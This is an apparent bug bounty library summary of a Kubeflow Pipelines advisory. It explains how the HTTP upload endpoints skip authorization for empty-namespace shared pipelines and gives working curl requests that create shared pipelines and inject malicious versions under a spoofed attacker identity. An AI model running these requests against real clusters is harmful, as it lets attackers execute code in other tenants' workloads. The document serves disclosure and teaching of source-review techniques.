# Kubeflow Pipelines API server lacks authorization for shared pipeline uploads

Kubeflow Pipelines upload endpoints skip SubjectAccessReview when namespace is empty, letting any tenant (or anonymous caller) create shared pipelines and inject malicious versions.

- Payout: Research
- Severity: critical
- Program: Kubeflow Pipelines
- Found by: VitoCrl
- Disclosed: 2026-11-09
- CVE: CVE-2026-77596
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-rjr3-43j3-4q8g
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-rjr3-43j3-4q8g
- Tags: area:cloud domain:api domain:cloud impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:go tech:kubernetes technique:source-review vuln:access-control vuln:auth-bypass

**Target:** KFP API server HTTP multipart upload endpoints (/apis/v2beta1/pipelines/upload, upload_version)
**Root cause:** canUploadVersionedPipeline returns nil without calling IsAuthorized whenever the resolved namespace is the empty string, which is how shared cluster-wide pipelines are addressed; REQUIRE_NAMESPACE_FOR_PIPELINES defaults to false so empty namespaces pass validation. The gRPC sibling canAccessPipeline remaps empty namespace to the system namespace for writes, proving the omission.
**Steps:**
1. Deploy API server with MULTIUSER=true and REQUIRE_NAMESPACE_FOR_PIPELINES unset; attacker identity has no RBAC.
2. Create shared pipeline: `curl -F uploadfile=@pipeline.yaml -H "kubeflow-userid: attacker@evil.com" "http://APISERVER:8888/apis/v2beta1/pipelines/upload?name=shared-pwn"` -> HTTP 200 with pipeline_id.
3. Inject version into shared pipeline: `curl -F uploadfile=@pipeline2.yaml -H "kubeflow-userid: attacker@evil.com" "http://APISERVER:8888/apis/v2beta1/pipelines/upload_version?name=evilversion&pipelineid=80cd99df-..."` -> HTTP 200.
4. Repeat create with no identity header at all -> HTTP 200 (anon-shared-pwn).
5. Negative control: same request with `&namespace=victim-ns` -> HTTP 400 rejected at pipeline_upload_server.go:135.
6. Asymmetry check: gRPC `POST /apis/v2beta1/pipelines` with empty namespace -> HTTP 403 PermissionDenied.
**How found:** Code review of the upload authorization helper: noticed the early `return nil` on empty namespace, then compared against the gRPC sibling canAccessPipeline whose comment explicitly states shared-pipeline writes must still be authorized against the system namespace. Confirmed reachability by checking that REQUIRE_NAMESPACE_FOR_PIPELINES defaults to false and is unset in all manifests, then validated with live requests and log asymmetry (no 'Authorizing request' line on empty-namespace uploads).
**Exploitation:** Attacker uploads a malicious pipeline version into an existing shared pipeline consumed by an unpinned recurring run. On the next scheduled execution the controller resolves the latest version and runs attacker code in the consuming run's namespace under its service account, without victim interaction. Live reproduction covered the unauthorized upload; the scheduled execution path was verified by source inspection only.
**Escalation:** Unauthorized catalog write escalates to code execution in a separate victim workload's namespace and service-account authority via latest-version resolution of unpinned recurring runs.
**Insight:** When a codebase has two entry points for the same write (HTTP and gRPC), diff their authorization helpers: a comment in one explaining why writes must be authorized is a direct signal the other path is missing it. Also check whether 'empty means shared/global' sentinel values short-circuit authz checks, and whether the config that would force a namespace is actually set in shipped manifests.

## Proof of concept (copied exactly from the original report)

**curl upload of shared pipeline as unprivileged attacker**

```
curl -F uploadfile=@pipeline.yaml -H "kubeflow-userid: attacker@evil.com" \
     "http://APISERVER:8888/apis/v2beta1/pipelines/upload?name=shared-pwn"
   -> {"pipeline_id":"80cd99df-...","name":"shared-pwn", ...}
```

**curl inject version into shared pipeline**

```
curl -F uploadfile=@pipeline2.yaml -H "kubeflow-userid: attacker@evil.com" \
     "http://APISERVER:8888/apis/v2beta1/pipelines/upload_version?name=evilversion&pipelineid=80cd99df-..."
   -> {"pipeline_version_id":"32299f65-...","name":"evilversion","pipeline_spec":{ attacker IR }}
```

